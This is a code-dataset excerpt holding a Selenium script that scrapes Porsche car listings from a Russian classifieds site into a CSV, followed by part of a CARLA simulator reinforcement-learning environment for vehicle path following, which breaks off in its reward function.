"doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.draw.line", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.mouse.get_pos", "line_number": 119, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 125, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 125, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 125, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 128, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 128, "usage_type": "call"}, {"api_name": "pygame.event.wait", "line_number": 132, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 132, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 134, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 134, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 134, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 136, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 138, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 138, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 146, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 149, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 152, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 155, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 159, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 159, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 168, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 168, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 169, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 172, "usage_type": "call"}]} +{"seq_id": "31522315958", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[80]:\n\n\nfrom selenium import webdriver\nimport time\nfrom selenium.webdriver.common.by import By\nimport tqdm\nimport random \nimport pandas as pd\nimport numpy as np\n\n\n# ### Функция для перехода на новую страницу\n\n# In[81]:\n\n\ndef new_page_click(browser, page_num):\n if page_num == 1:\n browser.find_element(By.XPATH, '/html/body/div[2]/div[5]/div[1]/div[1]/div[5]/div/div[2]/div/div/a').click()\n time.sleep(random.randint(1, 3))\n else:\n browser.find_element(By.XPATH, '/html/body/div[2]/div[4]/div[1]/div[1]/div[5]/div/div[2]/div/div/a').click()\n time.sleep(random.randint(1, 3)) \n\n\n# ### Парсинг мар��и, модели и года выпуска\n\n# In[115]:\n\n\ndef parsing_model(browser, num, page):\n xpath = f'/html/body/div[2]/div[{page}]/div[1]/div[1]/div[5]/div/div[1]/a[{num}]/div[2]/div[1]/div[1]/span'\n model = browser.find_element(By.XPATH, xpath)\n model = model.text\n return model\n\n\n# ### Парсинг города продажи\n\n# In[84]:\n\n\ndef parsing_city(browser, num, page):\n xpath = f'/html/body/div[2]/div[{page}]/div[1]/div[1]/div[5]/div/div[1]/a[{num}]/div[3]/div[2]/div/span'\n city = browser.find_element(By.XPATH, xpath)\n city = city.text\n time.sleep(random.randint(1, 3))\n return city\n\n\n# ### Переход на страницу с автомобилем \n\n# In[85]:\n\n\ndef click_auto_page(browser, num, page):\n xpath = f'/html/body/div[2]/div[{page}]/div[1]/div[1]/div[5]/div/div[1]/a[{num}]/div[2]/div[1]'\n browser.find_element(By.XPATH, xpath).click()\n time.sleep(random.randint(1, 3))\n\n\n# ### Парсинг характеристик автомобиля\n\n# In[86]:\n\n\ndef parsing_characteristic(browser):\n xpath = '/html/body/div[2]/div[4]/div[1]/div[1]/div[2]/div[2]/div[2]'\n characteristic = browser.find_element(By.XPATH, xpath)\n characteristic = characteristic.text\n return characteristic \n\n\n# ### Парсинг количества владельцев \n\n# In[87]:\n\n\ndef parsing_number_of_owners(browser):\n try:\n xpath = '/html/body/div[2]/div[4]/div[1]/div[1]/div[2]/div[2]/div[3]/div[3]/div'\n owners = browser.find_element(By.XPATH, xpath)\n owners = owners.text\n owners = owners.split()\n return int(owners[0])\n except:\n owners = np.NaN\n return owners\n finally:\n time.sleep(random.randint(1, 3))\n \n\n\n# ### Парсинг цены автомобиля \n\n# In[88]:\n\n\ndef parsing_price(browser):\n xpath = '/html/body/div[2]/div[4]/div[1]/div[1]/div[2]/div[2]/div[1]/div[1]'\n price = browser.find_element(By.XPATH, xpath)\n price = price.text\n price = price.split()[:-1]\n price = int(''.join(price))\n time.sleep(random.randint(1, 3))\n return price\n\n\n# ### Заполняем марку модель и год автомобиля\n\n# In[89]:\n\n\ndef change_model(model, auto):\n model = model.split()\n auto.append(model[0])\n auto.append(' '.join(model[1:-1])[:-1])\n auto.append(model[-1])\n\n\n# ### Заполняем остальные характеристики автомобиля\n\n# In[158]:\n\n\ndef change_characteristic(characteristic, auto):\n describe = ['Двигатель', 'Мощность', 'Коробка передач', 'Привод', 'Цвет', 'Пробег, км', 'Поколение']\n characteristic = characteristic.split('\\n')\n for i in range(len(describe)):\n for j in range(len(characteristic)):\n if describe[i] in characteristic[j]:\n ch = characteristic[j].split()\n if i == 0:\n if ch[1] == 'бензин,' or ch[1] == 'дизель,':\n auto.append(ch[1][:-1])\n auto.append(float(ch[2]))\n else:\n auto.append('электро')\n auto.append(np.NaN) \n elif i == 1:\n ch = ch[len(describe[i].split()):2]\n auto.append(' '.join(ch))\n elif i == 5:\n if ch[-1] == 'РФ':\n ch = ch[:-4]\n ch = ch[len(describe[i].split()):]\n auto.append(int(''.join(ch)[:-1]))\n elif ch[2] == 'новый':\n auto.append(0)\n else:\n ch = ch[len(describe[i].split()):]\n auto.append(int(''.join(ch))) \n else:\n ch = ch[len(describe[i].split()):]\n auto.append(' '.join(ch))\n break\n elif j == (len(characteristic) - 1):\n if i == 0:\n auto.append(np.NaN)\n auto.append(np.NaN)\n else:\n auto.append(np.NaN)\n\n\n# ### Парсинг одного автомобиля \n\n# In[91]:\n\n\ndef parsing_auto(browser, num, page):\n auto = []\n model = parsing_model(browser, num, page) # парсим марку, модель и год выпуска\n change_model(model, auto) # заполняем список\n auto.append(parsing_city(browser, num, page)) # парсим город продажи и добавляем в список\n click_auto_page(browser, num, page) # кликаем на страницу с автомобилем\n characteristic = parsing_characteristic(browser) # парсим характеристики \n change_characteristic(characteristic, auto) # заполняем список\n auto.append(parsing_number_of_owners(browser)) # парсим количество владельцев\n auto.append(parsing_price(browser)) # парсим цену\n browser.back() # переходим обратно на страницу с автомобилями \n return auto \n\n\n# ### Парсим всю страницу \n\n# In[208]:\n\n\ndef parsing_page(browser, page, cars):\n # проходимся циклом по всем автомобилям на странице \n for i in tqdm.trange(1, 21):\n cars.append(parsing_auto(browser, i, page))\n print('Парсинг страницы завершен')\n \n\n\n# In[105]:\n\n\n# cars = []\n\n\n# ### Парсим drom.ru\n\n# In[211]:\n\n\nbrowser = webdriver.Chrome()\nbrowser.get('https://auto.drom.ru/porsche/all/page70/?unsold=1')\ntry:\n for i in range(2, 8):\n parsing_page(browser, \"4\", cars)\n new_page_click(browser, i)\nexcept Exception as ex:\n print(ex)\nfinally:\n browser.close()\n browser.quit()\n \n\n\n# In[ ]:\n\n\n# Иногда может возникать ошибка, что на странице нет какого-либо xpath, поэтому парсим \n# остаток страницы, пропуская автомобиль на котормо возникла ошибка\n\n\n# In[169]:\n\n\nbrowser = webdriver.Chrome()\nbrowser.get('https://auto.drom.ru/porsche/all/page34/?unsold=1')\ntry:\n for i in range(6, 21):\n cars.append(parsing_auto(browser, i, \"4\"))\nexcept Exception as ex:\n print(ex)\nfinally:\n browser.close()\n browser.quit()\n\n\n# ### Создаем датафрейм с нашими автомобилями \n\n# In[216]:\n\n\ndf = pd.DataFrame(cars, columns = [\"Марка\", \"Модель\", \"Год выпуска\", \"Город продажи\",\n \"Тип топлива\", \"Объем двигателя, л.\", \"Мощность, л.с.\",\n \"Коробка передач\", \"Привод\", \"Цвет\", \"Пробег, км\",\n \"Поколение\", \"Количество регистраций\", \"Цена, руб.\"])\ndf\n\n\n# In[225]:\n\n\n# Смотрим на типы данных\nprint('\\nDatatypes\\n', df.dtypes, sep='') \n\n\n# In[218]:\n\n\n# Изменяем на целочисленный тип данных 'Мощность, л.с.'\ndf = df.astype({'Мощность, л.с.': np.float})\n\n\n# ### Удаляем дубликаты \n\n# In[227]:\n\n\nprint(len(df)) \ndf = df.drop_duplicates() \nprint(len(df))\n\n\n# In[229]:\n\n\ndf.to_csv('porsche_cars.csv') # Сохраянем датафрейм в .csv\n\n", "repo_name": "LeontiyTsukanov/car_classification", "sub_path": "parsing_drom_porsche.py", "file_name": "parsing_drom_porsche.py", "file_ext": "py", "file_size_in_byte": 8291, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 23, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 24, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 26, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 26, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 27, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 37, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 37, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 49, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 49, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 51, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 51, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 62, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 62, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 63, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 63, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 73, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 73, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 86, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 86, "usage_type": "name"}, {"api_name": "numpy.NaN", "line_number": 91, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 94, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 94, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 105, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 105, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 109, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.NaN", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.NaN", "line_number": 164, "usage_type": "attribute"}, {"api_name": "numpy.NaN", "line_number": 166, "usage_type": "attribute"}, {"api_name": "tqdm.trange", "line_number": 195, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 212, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 212, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 236, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 236, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 271, "usage_type": "attribute"}]} +{"seq_id": "33984822572", "text": "\nfrom __future__ import print_function\nimport time\nimport collections\nimport datetime\nimport glob\nimport logging\nimport math\nimport os\nimport random\nimport math\nimport re\nimport sys\nimport weakref\ntry:\n import pygame\nexcept ImportError:\n raise RuntimeError('cannot import pygame, make sure pygame package is installed')\ntry:\n import numpy as np\nexcept ImportError:\n raise RuntimeError(\n 'cannot import numpy, make sure numpy package is installed')\nimport carla\nfrom carla import ColorConverter as cc\nfrom agents.navigation.roaming_agent import RoamingAgent\nfrom agents.navigation.basic_agent import BasicAgent\nfrom tools_app import *\nimport argparse\nfrom collections import deque\nimport pandas as pd\n\nstep_T_bound = (0.6,1)\t\t# Boundary of throttle values\nstep_S_bound = (-0.8,0.8)\t# Boundary of the steering angle values\n\ndef draw_waypoints(world, route):\n\tx0 = route[0,0]\n\ty0 = route[0,1]\n\tfor k in range(1,route.shape[0]):\n\t\tr = route[k,:]\n\t\tx1 = r[0]\n\t\ty1 = r[1]\n\t\tdx = x1-x0\n\t\tdy = y1-y0\n\t\tif math.sqrt(dx*dx+dy*dy) > 15:\n\t\t\tx0 = x1\n\t\t\ty0 = y1\n\t\t\tbegin = carla.Location(x = x1,y = y1, z = 0.1)\n\t\t\t\n\t\t\tworld.debug.draw_point(begin, size = 0.05,life_time=7200, color=carla.Color(238,18, 137,0))\n\n\nclass environment():\n\tdef __init__(self, throttleSize=4, steerSize=9, traj_num = 0, collectFlag = False, vehicleNum=1):\n\t\t\n\t\tlog_level = logging.INFO\n\t\t\n\t\tlogging.basicConfig(format='%(levelname)s: %(message)s', level=log_level)\n\n\t\tlogging.info('listening to server %s:%s', '127.0.0.1', 2000)\n\t\t\n\t\tself.refreshRoute(traj_num) # a series of caral.transform\n\t\t\n\n\t\tif not collectFlag:\n\t\t\tstart_location = carla.Location(x = self.route[0,0], y = self.route[0,1], z = 0.1)\n\t\t\tstart_rotation = carla.Rotation(pitch = 0, yaw = -90, roll = 0)\n\t\telse:\n\t\t\tstart_location = carla.Location()\n\t\t\tstart_rotation = carla.Rotation()\n\t\t\n\t\tself.start_point = carla.Transform(location = start_location, rotation = start_rotation) # type : Transform (location, rotation)\n\t\t\n\t\tself.client = carla.Client('127.0.0.1', 2000)\n\t\tself.client.set_timeout(4.0)\n\t\tself.display = pygame.display.set_mode((1280, 720),pygame.HWSURFACE | pygame.DOUBLEBUF)\n\t\tself.hud = HUD(1280, 720)\n\t\tself.world = World(self.client.get_world(), self.hud, 'vehicle.*', self.start_point, vehicleNum)\n\t\tself.clock = pygame.time.Clock()\n\t\tself.minDis = 0\n\t\tself.collectFlag = collectFlag\n\t\tself.traj_drawn_list = []\n\t\t\n\n\t\tself.control = carla.VehicleControl(\n\t\t\t\t\t\t\tthrottle = 1,\n\t\t\t\t\t\t\tsteer = 0.0,\n\t\t\t\t\t\t\tbrake = 0.0,\n\t\t\t\t\t\t\thand_brake = False,\n\t\t\t\t\t\t\treverse = False,\n\t\t\t\t\t\t\tmanual_gear_shift = False,\n\t\t\t\t\t\t\tgear = 0)\n\t\t\n\t\tself.destinationFlag = False\n\t\tself.away = False\n\t\tself.collisionFlag = False\n\t\tself.waypoints_ahead = [] \n\t\tself.waypoints_neighbor = [] \n\t\tself.steer_history = deque(maxlen=20)\n\t\tself.throttle_history = deque(maxlen=20)\n\t\tself.velocity_local = []\n\n\t\n\n\t\tself.e_heading = 0\n\t\tself.e_d_heading = 0\n\t\tself.e_dis = 0\n\t\tself.e_d_dis = 0\n\t\tself.e_slip = 0\n\t\tself.e_d_slip = 0\n\t\tself.e_vx = 0\n\t\tself.e_d_vx = 0\n\t\tself.e_vy = 0\n\t\tself.e_d_vy = 0\n\n\n\t\tself.tg = 0\n\t\tself.clock_history = 0 # pop the current location into self.waypoints_history every 0.2s\n\n\t\tself.k_heading = 0.1\n\n\t\tself.waypoints_ahead_local = []\n\t\tself.waypoints_history = deque(maxlen=5)\n\t\tself.waypoints_history_local = []\n\t\tself.waypoints_neighbor_local = []\n\n\t\tself.last_steer = 0.0\n\t\tself.last_throttle = 0.0\n\n\t\tself.tire_friction_array = np.arange(3,4.1,0.1) # [3,4], 11D\n\t\tself.mass_array = np.arange(1700,1910,50) # array([1700, 1750, 1800, 1850, 1900])\n\n\t\tself.ori_physics_control = self.world.player.get_physics_control()\n\t\tself.wheel_fl = self.ori_physics_control.wheels[0]\n\t\tself.wheel_fr = self.ori_physics_control.wheels[1]\n\t\tself.wheel_rl = self.ori_physics_control.wheels[2]\n\t\tself.wheel_rr = self.ori_physics_control.wheels[3]\n\n\t\tself.world.world.set_weather(carla.WeatherParameters.ClearNoon)\n\n\tdef refreshRoute(self, traj_num):\n\t\ttraj = pd.read_csv('waypoints/waypoints_' + str(traj_num) + '.csv')\n\t\tself.route = traj.values\n\t\tself.route_x = self.route[:,0]\n\t\tself.route_y = self.route[:,1]\n\t\tself.route_length = np.zeros(self.route.shape[0])\n\t\tfor i in range(1, self.route.shape[0]):\n\t\t\tdx = self.route_x[i-1] - self.route_x[i]\n\t\t\tdy = self.route_y[i-1] - self.route_y[i]\n\t\tself.route_length[i] = self.route_length[i-1] + np.sqrt(dx * dx + dy * dy)\n\t\t\n\n\n\tdef step(self, actionID = 4, steer = 0, throttle=0, manual_control = False):\n\t\t# apply the computed control commands, update endFlag and return state/reward\n\t\tif not manual_control:\n\t\t\t\n\t\t\tself.control = self.getAction(steer = steer,throttle = throttle)\n\n\t\t\t\n\t\t\tself.control.steer = 0.1*self.control.steer + 0.9*self.last_steer\n\t\t\tself.control.throttle = 0.3*self.control.throttle + 0.7*self.last_throttle\n\t\t\t\n\n\t\t\tself.last_steer = self.control.steer\n\t\t\tself.last_throttle = self.control.throttle\n\n\t\t\tself.world.player.apply_control(self.control)\n\t\t\tself.steer_history.append(self.control.steer)\n\t\t\tself.throttle_history.append(self.control.throttle)\n\t\t\ttime.sleep(0.05)\n\n\t\t\n\t\tif manual_control and not self.collectFlag:\n\t\t\tcontrol = self.world.player.get_control()\n\t\t\tself.steer_history.append(control.steer)\n\t\t\tself.throttle_history.append(control.throttle)\n\t\t\ttime.sleep(0.05)\n\t\t\n\t\tnewState = self.getState()\n\n\t\tif not self.collectFlag :\n\t\t\treward = self.getReward(newState, self.steer_history, self.throttle_history)\n\t\t\n\t\t\tself.collisionFlag = self.collisionDetect()\n\n\t\t\treturn newState, reward, self.collisionFlag, self.destinationFlag, self.away, self.control\n\n\t\telse:\n\t\t\tcontrol = self.world.player.get_control()\n\t\t\treturn newState, control\n\t\t\n\t\t\n\n\n\tdef reset(self, traj_num = 0, collect_x = 0, collect_y = 0, collect_yaw = 0, randomPosition = False, testFlag = False, \n\t\t\t\ttest_friction = 3.5, test_mass = 1800.0, differentFriction=False, differentVehicles=False):\n\t\t# random change the tire friction and vehicle mass:\n\t\tif not testFlag:\n\t\t\tindex_friction = np.random.randint(0,self.tire_friction_array.shape[0])\n\t\t\tindex_mass = np.random.randint(0,self.mass_array.shape[0])\n\n\n\t\t\tself.tire_friction = self.tire_friction_array[index_friction]\n\t\t\tself.mass = self.mass_array[index_mass]\n\t\telse:\n\t\t\tself.tire_friction = test_friction\n\t\t\tself.mass = test_mass\n\t\t\n\t\tif not differentFriction:\n\t\t\tself.wheel_fl.tire_friction = self.tire_friction\n\t\t\tself.wheel_fr.tire_friction = self.tire_friction\n\t\t\tself.wheel_rl.tire_friction = self.tire_friction\n\t\t\tself.wheel_rr.tire_friction = self.tire_friction\n\t\telse:\n\t\t\tself.wheel_fl.tire_friction = 2.8\n\t\t\tself.wheel_fr.tire_friction = 2.8\n\t\t\tself.wheel_rl.tire_friction = 4.2\n\t\t\tself.wheel_rr.tire_friction = 4.2\n\n\t\twheels = [self.wheel_fl, self.wheel_fr, self.wheel_rl, self.wheel_rr]\n\n\t\tself.ori_physics_control.wheels = wheels\n\t\tif not differentVehicles:\n\t\t\tself.ori_physics_control.mass = float(self.mass)\n\t\t\n\t\t\n\t\tself.world.player.apply_physics_control(self.ori_physics_control)\n\t\ttime.sleep(0.5)\n\n\t\t# detect:\n\t\tphysics = self.world.player.get_physics_control()\n\t\tprint('firction: {}, mass: {}'.format(physics.wheels[0].tire_friction, physics.mass))\n\t\tprint('center of mass: ', physics.center_of_mass.x, physics.center_of_mass.y, physics.center_of_mass.z)\n\t\t\n\t\tif not self.collectFlag:\n\t\t\tself.refreshRoute(traj_num)\n\t\t\tif not randomPosition:\n\t\t\t\tstart_location = carla.Location(x = self.route[0,0], y = self.route[0,1], z = 0.1)\n\t\t\t\tstart_rotation = carla.Rotation(pitch = 0, yaw = -90, roll = 0)\n\t\t\t\tvelocity_local = [10,0] # 5m/s\n\t\t\t\tangular_velocity = carla.Vector3D()\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tk = np.random.randint(0,self.route.shape[0] - 100)\n\t\t\t\tstart_location = carla.Location(x = self.route[k,0], y = self.route[k,1], z = 0.1)\n\t\t\t\tstart_rotation = carla.Rotation(pitch = 0, yaw = self.route[k,2], roll = 0)\n\t\t\t\tvelocity_local = [10, 0] \n\t\t\t\t# angular_velocity = carla.Vector3D(z = self.route[k,6])\n\t\t\t\tangular_velocity = carla.Vector3D()\n\t\telse:\n\t\t\tstart_location = carla.Location(x = collect_x, y=collect_y)\n\t\t\tstart_rotation = carla.Rotation(yaw = collect_yaw)\n\n\t\t\n\t\tself.start_point = carla.Transform(location = start_location, rotation = start_rotation) # type : Transform (location, rotation)\n\t\tego_yaw = self.start_point.rotation.yaw\n\n\t\tif not self.collectFlag:\n\t\t\tif traj_num not in self.traj_drawn_list:\n\t\t\t\tself.drawPoints()\n\t\t\t\tself.traj_drawn_list.append(traj_num)\n\n\t\t\n\t\tego_yaw = ego_yaw/180.0 * 3.141592653\n\t\ttransformed_world_velocity = self.velocity_local2world(velocity_local, ego_yaw)\n\n\t\tself.world.player.set_transform(self.start_point)\n\t\tself.world.player.set_velocity(transformed_world_velocity)\n\t\tself.world.player.set_angular_velocity(angular_velocity)\n\t\t\n\t\tself.world.player.apply_control(carla.VehicleControl())\n\n\t\tself.world.collision_sensor.history = []\n\t\tself.away = False\n\t\tself.endFlag = False\n\t\tself.steer_history.clear()\n\t\tself.throttle_history.clear()\n\t\tself.waypoints_neighbor = []\n\t\tself.waypoints_neighbor_local = []\n\t\tself.waypoints_ahead = []\n\n\t\tself.waypoints_ahead_local = [] # carla.location 10pts\n\t\tself.waypoints_history.clear() # carla.location 5pts\n\t\tself.waypoints_history_local = []\n\t\tself.destinationFlag = False\n\n\t\tself.last_steer = 0.0\n\t\tself.last_throttle = 0.0\n\n\t\tself.drived_distance = 0\n\n\t\tprint('RESET!\\n\\n')\n\t\t\n\t\treturn 0\n\n\tdef getState(self):\n\t\tlocation = self.world.player.get_location()\n\t\t\n\t\tangular_velocity = self.world.player.get_angular_velocity()\n\t\ttransform = self.world.player.get_transform()\n\t\tego_yaw = transform.rotation.yaw\n\t\tif ego_yaw < 0:\n\t\t\tego_yaw += 360\n\t\tif ego_yaw > 360:\n\t\t\tego_yaw -= 360\n\t\tego_yaw = ego_yaw/180.0 * 3.141592653\n\n\t\tself.getNearby() # will update self.minDis\n\n\t\tself.getLocalHistoryWay(location, ego_yaw)\n\t\tself.getLocalFutureWay(location, ego_yaw)\n\t\tself.getLocalNeighbor(location, ego_yaw)\n\t\t\n\t\t# print('history')\n\t\t# for his in self.waypoints_history_local:\n\t\t# \tprint(his[:2])\n\t\t# print('future')\n\t\t# for fut in self.waypoints_ahead_local:\n\t\t# \tprint(fut[:2])\n\t\t# print()\n\n\t\tself.velocity_world2local(ego_yaw) # will update self.velocity_local\n\n\t\tego_yaw = ego_yaw/3.141592653 * 180\n\t\tif ego_yaw > 180:\n\t\t\tego_yaw = -(360-ego_yaw)\n\n\t\tif self.collectFlag:\n\t\t\tstate = [location.x, location.y, ego_yaw, self.velocity_local[0], self.velocity_local[1], self.velocity_local[2], angular_velocity.z]\n\t\t\t\n\t\t\tself.control = self.world.player.get_control()\n\t\t\tsteer = self.control.steer\n\t\t\tct = time.time()\n\t\t\tif ct - self.clock_history > 0.2:\n\t\t\t\tself.waypoints_history.append(np.array([location.x, location.y, steer, self.velocity_local[2]]))\n\t\t\t\tself.clock_history = ct\n\n\t\t\treturn state\n\t\t\t\n\t\telse:\n\t\t\tdt = time.time() - self.tg\n\t\t\tself.e_d_dis = (self.minDis - self.e_dis) / dt\n\t\t\tself.e_dis = self.minDis\n\n\t\t\tif self.e_dis > 15:\n\t\t\t\tself.away = True\n\n\t\t\t# error of heading:\n\t\t\tthis_index = self.nb_index\n\t\t\ttheta = 0\n\t\t\thdy = 0\n\t\t\thdx = 0\n\t\t\tif self.nb_index != 0:\n\t\t\t\thdy = self.waypoints_neighbor_local[this_index+1][0] - self.waypoints_neighbor_local[this_index-1][0]\n\t\t\t\thdx = self.waypoints_neighbor_local[this_index+1][1] - self.waypoints_neighbor_local[this_index-1][1]\n\t\t\t\ttheta = math.atan2(hdy,hdx)/3.1415926*180\n\t\t\t\tif hdy>0 or (hdy<0 and hdx>0):\n\t\t\t\t\ttheta = 90-theta\n\t\t\t\telse:\n\t\t\t\t\ttheta = -270-theta\n\t\t\t\n\n\t\t\tyaw = -theta/180.0 * 3.141592653\n\t\t\tnx = -hdx * math.cos(yaw) - hdy * math.sin(yaw)\n\t\t\tvgf_left = True\n\t\t\tif nx >0:\n\t\t\t\tvgf_left = False\n\t\t\tif vgf_left:\n\t\t\t\ttheta = math.atan(self.k_heading * self.e_dis)/3.141592653*180 + theta\n\t\t\telse:\n\t\t\t\ttheta = -math.atan(self.k_heading * self.e_dis)/3.141592653*180 + theta\n\t\t\t\n\n\t\t\te_heading = theta\n\t\t\tif e_heading * self.e_heading > 0:\n\t\t\t\tif e_heading > 0:\n\t\t\t\t\tself.e_d_heading = (e_heading - self.e_heading)/dt\n\t\t\t\telse:\n\t\t\t\t\tself.e_d_heading = -(e_heading - self.e_heading)/dt\n\t\t\telse:\n\t\t\t\tself.e_d_heading = (abs(e_heading) - abs(self.e_heading)) / dt\n\t\t\t\t\n\t\t\tself.e_heading = e_heading\n\t\t\t\n\t\t\t\n\n\t\t\n\t\t\t# e_vx = self.velocity_local[0] - 30 ## GET VERY GOOD PERFORMANCE, EVEN BETTER THAN THE ONE FOLLOWING A HUMAN REF TRAJECTORY......\n\t\t\te_vx = self.velocity_local[0] - 30.56\n\t\t\tself.e_d_vx = (e_vx - self.e_vx)/dt\n\t\t\tself.e_vx = e_vx\n\n\t\t\tself.control = self.world.player.get_control()\n\n\t\t\tsteer = self.control.steer\n\t\t\tthrottle = self.control.throttle\n\t\t\t\n\t\t\tct = time.time()\n\t\t\tif ct - self.clock_history > 0.2:\n\t\t\t\tself.waypoints_history.append(np.array([location.x, location.y, steer, self.velocity_local[2]]))\n\t\t\t\tself.clock_history = ct\n\n\t\t\tvx = self.velocity_local[0]\n\t\t\tvy = self.velocity_local[1]\n\t\t\te_d_slip = self.e_d_slip\n\t\t\tif math.sqrt(vx*vx + vy*vy) < 2: # if the speed is too small we ignore the error of slip angle\n\t\t\t\te_slip = 0\n\t\t\t\te_d_slip = 0\n\n\t\t\n\t\t\tstate = [steer, throttle , self.e_dis, self.e_d_dis, self.e_heading, self.e_d_heading, 0, 0,\n\t\t\t\t\tself.e_vx, self.e_d_vx, 0, 0]\n\t\t\tstate.extend([k[0] for k in self.waypoints_ahead_local]) #x\n\t\t\tstate.extend([k[1] for k in self.waypoints_ahead_local]) #y\n\t\t\tstate.extend([0,0,0,0,0,0,0,0,0,0]) #slip\n\n\t\t\t\n\t\t\tself.tg = time.time()\n\n\n\t\t\t# print(state)\n\t\t\treturn state\n\t\n\tdef getReward(self, state, steer_history, throttle_history):\n\t\te_dis = state[2]\n\t\te_slip = state[6]\n\t\te_heading = state[4]\n\t\tstd_steer = np.array(steer_history)\n\t\tstd_steer = std_steer.std()\n\n\t\tstd_throttle = np.array(throttle_history)\n\t\tstd_throttle = std_throttle.std()\n\n\t\tr_dis = np.exp(-0.5*e_dis)\n\n\t\tif abs(e_heading)<90:\n\t\t\tr_heading = np.exp(-0.1*abs(e_heading))\n\t\telif (e_heading)>= 90:\n\t\t\tr_heading = -np.exp(-0.1*(180-e_heading))\n\t\telse:\n\t\t\tr_heading = -np.exp(-0.1*(e_heading+180))\n\n\t\tif abs(e_slip)<90:\n\t\t\tr_slip = np.exp(-0.1*abs(e_slip))\n\t\telif (e_slip)>= 90:\n\t\t\tr_slip = 